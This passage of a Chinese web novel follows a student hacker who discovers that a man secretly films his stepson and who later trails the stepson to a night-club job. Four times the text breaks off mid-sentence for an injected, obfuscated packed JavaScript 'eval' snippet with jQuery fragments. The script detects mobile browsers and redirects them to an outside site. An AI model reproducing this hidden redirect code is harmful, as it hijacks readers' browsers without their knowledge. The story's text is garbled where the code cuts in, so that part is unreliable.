因为时不时会看到骆绎声,她不得不开始思考一个问题,一个她之前很想逃避的问题——自己是否应该把监控的存在告知骆绎声。
对于那天看到的那129个摄像头,她一直觉得很介怀。
那天拜访沈思过家里,虽然她跟骆绎声发生了一些尴尬,但对她来说,她受到的最大冲击,其实是来自那些摄像头,而不是跟骆绎声的矛盾。
那些摄像头的存在,佐证了沈思过的异象:这个人表面深爱自己的妻子,对妻子带来的继子视如己出,是个众人交口称赞的绅士。
但实际上,这个绅士在继子的房间里装了39个摄像头,持有继子的违法监控视频8975条,时长总计525976分钟。
追溯到第一条监控中骆绎声的年纪,沈思过甚至有可能是个恋童癖。
无论一个人过去发生了什么不幸,都不应该成为他伤害他人的理由。况且这些行为已经构成刑事犯罪了。
沈思过这样对待自己的继子和妻子,是不对的。人不能这样对待他人。
要是她没看到就算了,但她已经看到了,并且当事人还时不时出现在她面前,她很难假装自己完全不知情。
在正常情况下,她可能会直接把这件事情告知被监控的当事人,又或者直接报警。
她之所以没有这么做,是因为骆绎声的异象。
一个人无法宣之于口的、最痛苦的秘密,才会形成异象。
她没去海湾半岛的时候,她猜测过很多次:为什么骆绎声的异象会是裸体?
在看到那些摄像头的时候,她有了一个全新的猜测:骆绎声可能知道自己被
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16396236|184279||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
监控了。
“赤身裸体”的异象,能对应上“被摄像头观察和记录”的表象。
而且骆绎声很可能是睡在衣柜里的,他衣柜里有床铺——在某程度上,这可以佐证她的猜测,因为衣柜的里侧没有摄像头。
如果这个猜测准确,就会出现新的问题:
如果骆绎声知道摄像头的存在,他为什么忍受?他跟沈思过那看似亲密的继父子关系,又是怎么回事?就算选择忍受,也没必要做到这种程度吧。
她尝试过入侵沈思过家里的网络,寻找答案,但安琪那天死机的原因很快找到了——沈思过可能是知道自己的电脑里有很多不能让人看见的秘密,他家网络的防护程度十分夸张。
硬件安全模块物理锁和温控熔断,零信任网关和硬件沙箱嵌套,量子密钥分发光纤专线……
简单来说,快要能赶上银行网络的防护程度了。也不知道是谁给他做的。
她尝试半天,连入口的影子都没摸到,就触发了两次异常检测,差点被对方追踪到真实IP。
她赶紧用跳板跳了三次,才把自己的痕迹抹干净,捏着冷汗停了手——再试下去,怕是要被人逮到。
但这次入侵也不是毫无所获,她专门攻击那套监控设备,找到了一些零碎的监控录像片段。
只是这些监控录像非但没能解答她的问题,反而还加深了她的困惑。
她一共获取了96分钟的监控片段,在这96分钟中,骆绎声从不看镜头,偶尔对着镜头时,他的眼神也是失焦的——他似乎没有意识到镜头的存在。
里面也有两段骆绎声跟沈思过相处的录像,他们竟然是正常相处的状态,仿佛他们是最普通不过的一个家庭。
只从这96分钟来看,骆绎声似乎不知道监控的存在。
但从异象上推测,李明眸怀疑他知道,只是假装自己不知道。
她没法确定这些问题,所以不知道是否应该把监控的存在告知骆绎声。
因为一个人无法宣之于口的、最痛苦的秘密,一定不会想让第二个人知道。
如果骆绎声知道监控的存在,只是不想说出来,那他一定不乐意她指出来。
无论是沈思过的秘密,还是骆绎声的秘密,她都不应该知道。
假如她知道,她也不能让任何人知道自己知道。
她在赵医生那里冒险过一次,不但失败了,还招来了别人的厌烦和麻烦,她不想再尝试第二次。
况且赵医生跟她认识很久了,骆绎声跟她却只见过几面。她没道理为了一个“陌生人”涉险。
这样做……应该是可以的吧?她有些不安地想。
24. 被当怪人了
李明眸不想为陌生人烦心,但放弃入侵沈思过的网络之后,她还是没忍住好奇心,又在海大论坛里翻找起骆绎声的信息来。
没错,她现在对骆绎声很好奇,好奇心害死猫的那个“好奇”。
海大的论坛一直有很多骆绎声的八卦楼,而且大部分都是八卦的偷拍贴,除了置顶的那个贴,她以前从来没打开过其他贴。
她今天一次过全部刷完了。
在浏览了大量骆绎声的偷拍帖后,她心里产生了一个疑惑:
骆绎声的衣品虽好,但不知道是不是错觉,他好像经常穿得很严实:他的衬衫纽扣总是扣到最上面一颗,T恤也从来不穿低领的,偶尔还戴着手套。
总而言之,从脖子以下,都捂得牢牢的,连锁骨都不露。
她想起来,在变装舞会当晚,还有女生抱怨骆绎声“起码把锁骨露出来”。
她当晚的好奇重新被勾了起来:他那天晚上到底穿的什么衣服,拿到的“最华丽妆容奖”?
她在最近的热帖里翻了翻,很快翻到了一张叫《万圣舞会美人鱼服饰,感谢骆同学的宣传》的贴子。
在这张帖子里面,骆绎声一身莹白色的鳞片,鳞片不知道是什么材质做的,流溢着七彩色泽,一闪一闪的,延伸到他的下巴和侧脸上。他的侧脸画着鱼鳃。下装并不是鱼尾,而是很多流苏做成的衣摆,像是某种深海鱼飘逸着的流光溢彩的尾巴。
难以置信,一个男人竟然能打扮成美人鱼的样子,而且看上去很华丽,一点都不违和。
发帖的楼主是服装设计学院的女生,她说这服饰是他们小组的毕设作品。导师对这作品不太满意,说它是形式主义,因为没人能压得住这样的衣服。
楼主在帖子里详细地感谢了骆绎声的帮助,说如果没有他,这毕设作品就要被打回来了。
其实她老师评价得没错,这衣服除了骆绎声,没人压得住。但在骆绎声身上,它却是能能拿到“最华丽妆容奖”的作品。
在这张帖子下面,很多女生都在尖叫,说“骆师兄就是最好的衣架子”,“化腐朽为神奇的男人”,“你就是我猴子的爸爸了”之类的。
在这些花痴的回帖里面,李明眸眼尖地注意到,有个女生在抱怨:“今天的骆师兄依然连手套都没有脱,我准备给他颁贞洁牌坊了。”
这条消息有好几个人回复,说骆绎声总是穿得很严实,她们很期待和他一起上游泳课之类的。
所以之前那个想法不是李明眸的错觉——骆绎声是有意穿得很保守。
一个平时穿得严严实实的人,在异象中却是赤身裸.体的,他还拥有一具最美艳的皮囊——在这诡异的对比背后,到底隐藏着什么秘密?
他真的不知道摄像头的存在吗?
李明眸的心情沉重起来。
把贴子再往后翻一点,她竟然看到了自己的消息:她作为骆绎声的舞伴,也出现在了照片上。
在李明眸和骆绎声的合影下面,众人纷纷留言:“这女生长得一般”、“一点都不装扮,太没礼貌了”、“实在是平平无奇”、“不如那个猫妖娘”之类的。
柠檬精们酸了十多楼后,帖子的画风突然转变——李明眸的获奖历经被扒出来了。
大家都不太认识李明眸,本来想扒点她的黑历史。
但是扒着扒着,她们就扒出了李明眸在全国大学生信息安全竞赛、信息安全与对抗技术竞赛、信息安全技能竞赛的辉煌获奖经历。
上面发言的人都觉得脸很疼。
有人在帖子下面回复:
“这些竞赛好像都挺出名。”
“卧槽,我跟她选过同一门课,她看起来很普通啊!”
“她是被智慧女神附体了吗……”
“听我搞电脑的男朋友说,这个女生在他们学院还挺出名的,就是不太跟人往来。”
“想不到这样的人也喜欢骆绎声,我们普通男生是不是没机会了?”
……
……
……
看着这些人的回复,李明眸稍微觉得有些无语:她这些成绩以前都被全校通报表扬过了,一点都没瞒着他们的。
虽然她也没主动提,但这些成绩竟然是因为桃色绯闻才被大家发现的。
海大好歹是一流学府,她以为大家会更关注学习的。
李明眸兴趣缺缺地关上学校论坛,因为骆绎声的问题,心中阴影重重。
她在想:就算自己没有告知监控的义务,是不是也应该旁敲侧击地跟他确认一下,他对摄像头是否知情呢?
可是要怎样旁敲侧击?她也没有这种高级技能。
唉,果然只要扯上跟别人的交际,事情就会变得很麻烦。
*** ***
两天后的《人工智能开发史》中,李明眸强忍着害怕尴尬,想跟骆绎声说说话。
但骆绎声一直被人围着,她在附近徘徊了五分钟,还是没敢上前突围。
她沮丧地想:要是自己有骆绎声的联系方式就好了……不用面对面谈,“旁敲侧击”的难度想必会降低一些。
在上课之前,李明眸作为助教负责收作业,学生们上讲台来交作业。
她觉得这是个好机会,等骆绎声上来交作业的时候,她可以顺便问他要个联系方式。
但她等了许久,骆绎声也没有上来交作业——最后是许由美帮他一起交的。
许由美就是变装晚会上的那个猫妖娘,她跟骆绎声是同一个专业,还选修了同一门课程。李明眸常常看到他们一块来上课,两人似乎挺熟悉的。
她收了许由美交上来的骆绎声的作业后,鼓起勇气问她:“你……”
许由
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16396237|184279||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
美反应了好一会,看到周围没人,才知道她是在跟自己讲话,于是便站在讲台,等着她讲下去。
李明眸“你”了好一会后,终于说下去:“你……能不能给我骆绎声的联系方式?”
许由美眨眨眼,像是没想到李明眸会问出来这样一个问题。
她先回头看了座位上的骆绎声一眼,才跟李明眸说:“我得先问问他。”
李明眸很感激:“谢谢你。”
然后李明眸看着许由美走到骆绎声身边,跟他说了一会话,随后他抬头看了讲台的李明眸一眼。
李明眸有些尴尬,把头别向窗外,假装自己在看风景。
课程结束的时候,学生们一窝蜂往门口涌去,准备去饭堂抢占高位。
许由美逆着人流,神秘兮兮地来到讲台。
李明眸以为她是来给自己骆绎声的联系方式的。结果许由美来到她面前后,说了这么一句话:“他说他不跟不礼貌的人聊天。”
说完这句话,她有些好奇地看着李明眸,仿佛想问些什么。
此时门外响起了骆绎声喊许由美的声音,于是许由美也没等李明眸答话,便往教室门口走去了。
李明眸:???
她就这么一头雾水地,看着许由美和骆绎声结伴离开。等到两人的背影消失在她的视线,她才反应过来:
骆绎声没有给她联系方式。
他不想给她联系方式。
李明眸的反射弧非常长。
她抱着自己的书包,先在食堂吃了饭,然后又在483上坐了半小时,半小时后到家,她开始刷牙。
直到刷牙的时候,她才意识到:自己好像是被当成变态了。
骆绎声觉得她是变态,不想被她缠上,所以拒绝给她联系方式。
在得知这个结论的一瞬间,她气炸了。
但想到骆绎声的那条内裤……她……她无法反驳。
虽然没法反驳,但她还是有些羞恼:她又不是真的要缠他!在《人工智能开发史》重逢,她是无意的,她也很讨厌!
而且他的联系方式,她分分钟都能知道!作为一个黑客,她想知道他的联系方式,多的是方法!问别人要,也不过是礼貌一下罢了!
这么悻悻然想完后,她漱完口,看着镜子,有些发愣。
她发现自己好像有些微妙的庆幸:骆绎声不肯告诉她联系方式,这样也好。
既然他们是不认识的人,那骆绎声的事情,就与她没有关系了。
她不用担心自己卷入奇怪的麻烦。
晚上睡觉的时候,她把脸埋在枕头上,想起骆绎声每天在课上被众人簇拥着的样子,以及他今天跟许由美融入人群的背影。
有些气不打一处来。
她赌气地想:反正他过得很开心,哪里需要不相关的人来操心!
25. 重新打招呼
日子这么一天天过去,李明眸没有要到骆绎声的联系方式,但也在周二的《人工智能开发史》与骆绎声和平相处着:她一如既往地被骆绎声无视着,见到面谁也不跟谁打招呼,日子过得波澜不惊。
她一直对自己问骆绎声要联系方式被拒绝的事情耿耿于怀,她搞不明白:
在一般的社交礼仪中,一个人问另一个人要联系方式,是不好毫无理由拒绝的吧?骆绎声不但拒绝了,竟然还说她没礼貌。
但在课上观察了一阵子之后,她倒是有发现,骆绎声不爱给人联系方式的原因:这门课上,竟然有女生在购买和兜售骆绎声的联系方式……
她有一次上厕所的时候听到,两个女生在聊天,说某某有骆师兄的联系方式,加一次100块,但不包通过。
她当时听到,心中十分震撼:骆绎声的联系方式还能卖钱呢?
怪不得她问许由美要骆绎声联系方式的时候,许由美表情这么微妙。
听这些女生说,那个某某也有其他艺术生的联系方式,包括许由美的。
但因为许由美的联系方式比较好加——只要当面问她加好友的,她一般都会加——所以她的联系方式便宜点,加一次50块。
那天李明眸在厕所里待了20分钟,就为了听外边化妆的女生聊闲话。
听完有点感慨:原来学校还有这种灰产呢?
这些艺术生好受欢迎啊……这门课刚开没多久,她就发现了,只要一下课,聚在骆绎声和许由美周围聊天的人就特别多。
但没过几天,她发现受欢迎也有受欢迎的烦恼。
*** ***
在一次《人工智能开发史》的课间,有几个男生聚在教室后门楼梯角的位置,一边抽烟,一边暧昧地说许由美坏话,说什么“艺术生很笨”,还说许由美“骚”。
李明眸当时在楼梯转角听到,非常生气。
因为这些男生说许由美“骚”的论据,就是她的联系方式很好要,谁跟她说话,她都是笑脸迎人的,想约她出去吃饭也很容易。
但这些男生跟许由美说话的场景,李明眸都看到过:分明是这些男生腆着脸要跟许由美说话,许由美稍微回一下,他们就很开心,要是许由美能答应跟他们出去吃饭,他们更是感激涕零。
想不到这些人私下却聚在一块,这样说许由美的坏话。
几个男生抽着烟,气氛醺醺然,越说越过分:
“她应该是骆绎声炮.友吧?我看她应该喜欢那个姓骆的,但那姓骆的不交女朋友。”
“说到这个骆绎声,也不明白为什么会有那么多女生喜欢他,就一张脸好看。”
“艺术生都很笨啦,许由美喜欢他,这就不怎么聪明。”
男生们的声音变小,不知道说到了什么,几人一齐暧昧地笑了起来。
李明眸听不下去,从楼梯转角跑下去,站在比他们高两个台阶的地方瞪着他们:
“喂,你们就是吃不到葡萄说葡萄酸吧,以为能约出去吃饭就能追到,现在没追到,就在背后说人家坏话!
“你们有本事就骂骆绎声啊!你们是跟他竞争失败了,那就骂竞争对手,不要骂许由美。”
男生们猝不及防被她说了一通,有些丢脸,质问她:“喂,你不也喜欢骆绎声吗,我们都看到你问他要联系方式了,女生就是看脸!”
李明眸觉得他们这话说得毫无逻辑:她问的是他们凭什么讲许由美坏话,他们回的却是女生不该看脸。
但他们提到自己问联系方式被拒绝的丢脸事迹,她有些脸红,就顺着他们的话说了下去:
“我再怎么样,也不会在背地里说自己追不上的人的坏话!
“还有,说什么艺术生比较笨,许由美和骆绎声在这门课上的成绩,都比你们几个高!”
男生们终于尴尬起来,强词夺理:“我们朋友聚在一块抽抽烟,关你什么事?这里不欢迎你!”
说到这个,李明眸更生气了。她几个跨步,从这些男生身边穿过,把挂在墙上的“禁止抽烟”的标志重新翻转过来,字面朝外。
“我就是来管你们抽烟的!你们在楼梯间抽烟,熏到后座同学了,耽误大家上课!”教室的后门就在楼梯隔壁。
她刚刚过来楼梯,就是要把这几个抽烟的人赶走,想不到听到他们聚众说人坏话。
男生们看着她不说话,似乎想把她看走。她寸步不让,瞪着他们。
一会后,男生们终于灰溜溜离开了。
男生们丢脸离开后,李明眸气恼地收拾地上的烟头——这些人不但在禁烟区域抽烟,还在地上留下一堆烟头不收拾。
她捡起地上的烟头,沿着台阶一只一只捡过去,来到了下一层楼梯间。
下一层楼梯间有一个大窗户,上面的窗帘拉上了。
她跟着散落在地上的烟头,走到窗帘前面,蹲下身捡起最后一只烟头。
这时候窗外吹来一阵风,窗帘飘了起来,她在飘起的窗帘下方看到一双赤裸的脚。
伴随着这阵风吹来的,还有一阵淡淡的烟味——这人坐在三楼的窗户上抽烟,还没有穿鞋。
李明眸不太高兴:“这里不让抽烟!还有你下来,危……”
危险两个字没有说完,便戛然而止了。
因为她看到了骆绎声的脸。
骆绎声坐在没有防护的窗户边上,左手夹着一支燃了一半的烟,听到她这么说,从善如流地道歉:“对不起。”
他道完歉,一边把烟掐灭,一边看向李明眸:“你刚刚……”
李明眸脑子飞快运转:原来他刚刚一直在窗帘后面听那几个男的说话,只是没出来说他们。那几个男的也不知道他在这里。
她脸色“轰”地一下红了,想起刚刚男生们说她喜欢骆绎声,她没有当场否认。
然后她还说那些男生,有本事别讲许由美坏话,要讲就讲骆绎声的坏话。
“你刚刚说的……”
骆绎声刚想说些什么,上方的楼梯间就传来了宋教授的声音:
“明眸,你是在这吗?我那份新版教案,你给放哪了,我……”
李明眸连忙大喊一声:“我是在这!你等等,我立刻就去给你拿教案!”
说完,她飞速转身,抛下骆绎声,那些收集的烟头也丢下不管,一溜烟就离开了这里。
骆绎声看着她飞速消失的背影,再低头看她丢在自己面前的大量烟头:“……”
他从窗户下来,弯下腰一只一只捡烟头的时候,听到李明眸和宋教授的谈话
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16396238|184279||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
在上方楼梯间渐远:
“你告诉我就行了,我自己会找的……你放开我,我要下去抽烟。”
“没有我你找不到。而且这里不能抽烟!”
“哎呀,你力气好大,怪不得老沈想让你去跳舞,你天生神力……”
“你少跟沈导演说话!跳舞不是靠力气的!”
“你还管我头上了……”
*** ***
虽然那天成功从楼梯间逃跑了,但李明眸发现,打那天开始,她惹上了一些麻烦。
骆绎声开始跟她打招呼了,而这给她造成了一定的困扰。
她已经和骆绎声一起上过六次《人工智能和史前生物》的课了。
六次下来,李明眸习惯了骆绎声不跟她打招呼的习惯。
但每次遇到骆绎声,她还是会习惯性躲在某个角落,等骆绎声过去了,她才出来——她感觉自己不是很有能力直面他的裸.体。
幸好骆绎声也很合作,每次都会快速通过,一眼都不往她这边看。
她管这叫紧急避险。
第七次课程的时候,当时骆绎声迎面走来、离她很近。她找不到路跑,就又躲到了教室门背后。
骆绎声经过那扇门的时候,他停顿了一会。
她以为他会跟之前一样,很快就会离开。
可是骆绎声没有。
他在门的另一边站了一会,然后一只手缓缓用力,拉开李明眸挡在身前的门。
她在门的另一边跟他角力,但最后还是输了,被他拉开了障碍物。
骆绎声右手固定着教室门,跟李明眸面对面打了个招呼,语气很平淡:“你好。”
李明眸看着他赤.裸的胸肌僵住了,过了很久,都不知道回复。
他就那么撑着门,既不走,也不说话。
等到李明眸迟钝地回了一句“你好”,他才微笑一下,离开了。
李明眸:?
就是从这第七次紧急避险失败开始,她往后的每一次紧急避险,都失败了……
最可怕的是,她还在学校里遇到过他一次,就在校道上。
当时骆绎声被众人簇拥着走在校道中间,大家都看着他,跟他说话;而她一个人孤零零地走在校道旁的绿地上,无人关注。
那会骆绎声正在侧耳倾听隔壁说话的人,表情很认真的样子。
按理说,应该是她先留意到骆绎声,但她走路向来是不看人的。
就在她走在路上发呆的时候,她听到从人群的正中间,传来了自己的名字。
骆绎声叫出了她的名字:
“李明眸,下午好,小心看路。”
随着骆绎声的视线,众人一齐看向人群边缘的李明眸。
骆绎声就像盏镁光灯,他看谁,谁的身上就会汇聚高光,成为众人目光焦点所在。
李明眸当时的感觉,就像是一只吸血鬼走在夜晚的偏僻街道上,突然被紫外线灯照到了。
下一刻,她就撞到了树上,在所有人的目光注视下。
然后她看到骆绎声笑了一下,好像觉得很好玩。
等到她看向他,那个笑容消失了,他又是一脸正经的样子。
她开始有点生气了。
他肯定是故意的。
26. 无效乔装
不知道怎么回事,自从骆绎声跟李明眸打招呼后,李明眸开始在学校频繁遇到骆绎声,并且每一次,每一次!骆绎声都会跟她打招呼!
因为被信息学院的人撞见过好几次,大家都以为她跟骆绎声很熟,慢慢地,竟然有师妹鼓起勇气来跟她搭讪,想找她要骆绎声的联系方式。
她冷着脸,有些丢脸地表明,自己也没有骆绎声的联系方式。
师妹们竟然不信,觉得她是不愿意给,还说愿意请她吃饭,或者帮她做课题。
原来灰产就是这么来的……
她有些烦恼地帮骆绎声一一拒绝了,她还替他劝告那些师妹,让她们好好读书。
师妹们说,可以好好读书,但读完后,能不能给她们联系方式?
李明眸:……
李明眸烦不胜烦,终于忍不住,在下一节《人工智能开发史》上,跟骆绎声摊牌了。
那天骆绎声来得很早。趁着他身边没人,她小心翼翼地凑上去,问他:
“你能不能像以前一样,别跟我打招呼?”
骆绎声看了她一会,温和反问:“我以前没有跟你打招呼吗?”
她茫然:“你有吗?”
骆绎声平静地说:“我有。见到认识的人不打招呼,不太礼貌。如果我没有打招呼,只是因为我没看到你。”
李明眸更茫然了:他分明看到了她,只是无视了吧?
但看他笃定又平静的表情,好像是认真说的。
难道他真的没看到她?毕竟她藏起来了,看不见好像也有可能……
不不!差点被他混过去了!
她找到一个关键点,觉得自己差点被他带偏了——说什么打招呼,他甚至都不愿意给她联系方式!
正当她要把这个论点说出来反驳时,她的手机响了起来。
是一个不认识的人的语音通话。
因为是不认识的人,所以她当即挂断了——她不接听不认识的人的电话。
她挂断通话后,准备继续跟骆绎声论证:你甚至都不愿意加我联系方式!
正当她看向骆绎声,准备很有气势地说出这句话时,骆绎声把自己的手机屏幕举了起来,怼到她脸前,离她的眼睛只有10厘米。
李明眸:?
然后她听到骆绎声语气很平静地说:“刚刚是我打给你的。”
李明眸:!
她迷茫地拿出已经锁屏的手机,点开刚刚的通话记录,看了一下。
给她打语音电话的人,网名叫“Silence”,两人没有任何聊天记录,她也没有备注这人,不知道是谁。
她看着验证信息:是自己加的对方,并且加上的时间是今年的10月11日……
就是她第一次去沈思过办公室的那天。
她想起来了:那天是她跟沈思过的第一次会面,沈思过让她加了好几个联系方式,当时他还想说服她进入剧团,说有不懂的,可以问这些人。
她把这些人一一加了,然后都通过了。
沈思过解释了这些人都是谁,但她没有认真听。
因为当时沈思过告知她,他们在弗雷娜船难当天见过,她因为这件事神思不属,所以没有认真听。
原来她加过骆绎声的联系方式……她一直都有他的联系方式,但她完全没留意到。
于是那天骆绎声让许由美转告她的话,“我不跟没礼貌的人聊天”,仿佛也有了别的解读……
李明眸盯着那个手机屏幕,发现骆绎声还给她备注了,她的备注是“李明眸”。
她盯着骆绎声屏幕上自己的名字,不敢移开目光,一滴冷汗从额头流下。
她没想好应该怎么接话。
骆绎声的声音在她头顶响起,有些冷淡:
“你上次让许由美问我联系方式,应该是想问我电话吧。
“既然你都有我微信了,还来问,那应该就是想问电话。”
李明眸如蒙大赦:“啊对对对!”她猛地点头,有点感激地看着骆绎声。
骆绎声朝她微微一笑,让她有点发毛。
头也不敢点了。
正当李明眸有些怵时,骆绎声收起自己的手机,又回到了一开始的话题,语气慢悠悠的:“我跟你打招呼很普通吧,你是觉得讨厌吗?”
李明眸有些惊慌:“不不!”她怎么配讨厌,“只是师妹们……”
李明眸惊慌之下,呆头呆脑地,顺着他的话解释了一下自己的处境,重点提了被不爱学习的师妹纠缠的事情。
“谢谢你帮我劝她们学习。”骆绎声慢慢地微笑起来,“不过下次我还是会打招呼的——毕竟朋友之间要打招呼才有礼貌,是吧?”
李明眸说“是”,然后羞愧地低下头去。
她就没有跟骆绎声打招呼……怪不得他说自己没有礼貌。
骆绎声语气又温柔起来:“但朋友之间,多体谅对方也是应该的。我明白你的烦恼了,在人多的地方,会按照你的请求,不打扰到你。”
李明眸当即有些感激。
看到她感激的样子,骆绎声似乎也很满意,手放在她头顶摸了一下,然后走了。
她捂着自己的头,看着骆绎声离开的背影,感激之余,又有些奇怪:
仿佛哪里有些奇怪……?
*** ***
那天是周二,《人工智能开发史》的第八节课。
聊完“不打招呼”的事情后,当天课程顺利完成,然后在放学后,发生了一件很奇怪的事。
李明眸最近换乘公交了。她以前一直坐22路公交车回家,最近修路,就换成了438路。
22路和438路都经过她家,但她以前不爱坐438路,除了438不直达的缘故,还因为438会经过红灯区,车上的乘客有点杂。
这天放学的时候,她搭乘438公交回家,在车上遇到了骆绎声——然后骆绎声没跟她打招呼。
骆绎声上车之后,站在司机后面的位置,鹤立鸡群地高,鹤立鸡群地裸.体,李明眸一下子就认出了他。
她当时跟骆绎声隔着几个人,心里有些庆幸:幸好隔着几个人,不然让她在车里近距离地跟赤.裸的骆绎声挤来挤去,她担心自己表现得不够礼貌。
她看着骆绎声,骆绎声回头看了她一下,两个人很自然地目光对视。
就在她回想起骆绎声那句“见到认识的人不打招呼,不太礼貌”的话,准
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16396239|184279||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
备抬手打招呼时,骆绎声冷淡地别过了头,表现出一副不认识她的样子。
李明眸:???
她默默放下了企图打招呼的手。
两人就这么沉默地站了一路,骆绎声一次都没有往李明眸的方向看。
李明眸心里有些疑惑:是因为下午的谈话吗?在“人多的地方”,他忠实地执行自己的承诺,假装不认识她?
但也不至于像现在这样完全无视吧……就算一开始不想跟她打招呼,他也不会表现得那么明显。
毕竟他是一个就算要把别人的手织围巾扔垃圾桶,也会很好地等别人离开了再扔的人。
她想着想着,环视了一下车厢,总觉得有哪些细节不对。
这些人为什么不看骆绎声?
在“祈福新城”站的时候,一个浓妆艳抹的女人上了车,就站在骆绎声隔壁,离得李明眸很近,那浓烈的香水味能把李明眸熏一个跟斗。
李明眸不动声色地往后挤了挤。
这个女人应该就是去红灯区上班的了,438上时不时会有这种乘客。
一会之后,车上有几个男人开始跟这个浓妆女人搭讪,话里话外都透露着交易的气息。女人并没有搭理他们,她拿出一面镜子,开始在车里描起眉毛来。
李明眸百无聊赖地看着女人镜子里的脸,看着看着,她突然全身一凛——她在镜子里看到了女人隔壁的骆绎声。
她之所以没第一时间发现镜子里的是骆绎声,是因为镜子里的骆绎声带着口罩和帽子,鼻梁上还架着一副墨镜。
李明眸能从镜子中看到异象者真实的、在现实生活中的样子——所以骆绎声现在这打扮是怎么回事?
她拿出手机,吸取上次的教训,关掉了声音和闪光灯,偷偷拍了一张骆绎声的侧影。
然后她发现,在照片里面,骆绎声穿着一身黑色的大衣,把整个人裹得严严实实的。再加上那副墨镜、口罩加帽子的打扮,他现在是连脖子以上都遮住了。
他裹得那么严实,怪不得车里没女生偷看他。倒是有几个人觉得他鬼鬼祟祟的,时不时警惕地看他一眼。
李明眸:所以骆绎声现在是乔装状态?他刚刚没跟我打招呼,是觉得我认不出他?或者说他不想我认出他?
在正常情况下,确实是认不出的,但李明眸有点特殊。无论骆绎声怎么乔装,在李明眸眼里,他就是原汁原味的……
但莫名其妙地,他无端端乔装干什么?
李明眸不动声色,假装自己一无所知。
这时候,438缓缓停下——红灯区站点到了。李明眸站得有点累,打了个哈欠。
站在骆绎声隔壁的浓妆女人下车了——她工作的地方到了。
乔装的骆绎声也动了,他跟在浓妆女人和几个猥琐大叔身后,也下了车。
正在打哈欠的李明眸顿住了。
李明眸:???
车门已经关上,她挤到车窗边,看向车窗外骆绎声的方向。438缓缓驶离,李明眸看着骆绎声离她越来越远、慢慢地走进了红灯区。
李明眸:!!!
他乔装成这个鬼样子去红灯区干什么!
当晚,李明眸失眠了。
27. 不正经工作
自从在438上见到骆绎声乔装去红灯区后,李明眸就跟438杠上了。
上次她在438遇见骆绎声,是在周二傍晚的6点。于是她也跟着乔装打扮,在每天的5点半到6点半这个区间,埋伏在学校附近的公交站。
果然,让她堵到了几次骆绎声。他的出现时间很规律,是每个周二和周四的6点钟。
因为害怕被骆绎声发现,所以李明眸并没有跟着他上车。
摸清楚他的乘车规律后,在每周二s和周四的6点20,李明眸都会提前埋伏在红灯区的入口处——就是骆绎声要下车的那个站。
等到6点30,骆绎声会准时从438下来,并从这里进入红灯区。
李明眸会尾随在骆绎声身后,看他去做什么。
这么尾随了几次后,李明眸终于确定了骆绎声来红灯区的原因:他是来这里工作的,他在一间叫“岩浆”的夜店兼职。
李明眸没去过这种场合,没敢跟着进去。但是她上网查了一下这间夜店,还黑进公.安机关的办公系统看了一下。
然后她发现,“岩浆”竟然是一个提供特殊服务的酒吧,里面有好几个小姐被抓走过。
她发起愁来:这里面的兼职工作,它正经吗?
为了确认这个工作的正经程度,李明眸在“岩浆”外面蹲守了几次,发现骆绎声好像真的只是来做兼职服务生的。
在每周二和每周四的晚上7点钟,他会到这里上夜班,然后10点30准时下班回家。
在李明眸蹲守的几次里,她从没见过骆绎声带乱七八糟的客人离开,但是他出来的时候,经常有女人甚至男人纠缠他,说要带他回家,问他多少钱。
虽然骆绎声每次都礼貌拒绝了,李明眸还是觉得有些担忧:
在这样不正经的店里面做服务生,真的安全吗?
骆绎声身上的问题,就像俄罗斯套娃一样,一个问题嵌套着另一个问题。
她一开始只是想知道,是不是应该告知他监控的存在,结果观察着观察着,又发现了他的奇怪工作。
于是又产生了一系列新问题:这工作到底是什么性质?他看起来不缺钱,也不像是寻求刺激的人,为什么要做这种工作?
这个工作跟监控的存在有关吗?他是想存钱离开家里独立生活吗?
*** ***
因为越来越多的问题,每次在《人工智能开发史》遇到时,李明眸都会反复确认骆绎声的状态:他的表情,他的神态,以及他跟别人聊天时的语气。
甚至包括他的裸体异象,也在她的确认范围内:她想知道他身上是否有可疑伤痕。
可是除了补全了异象画外,一无所获。
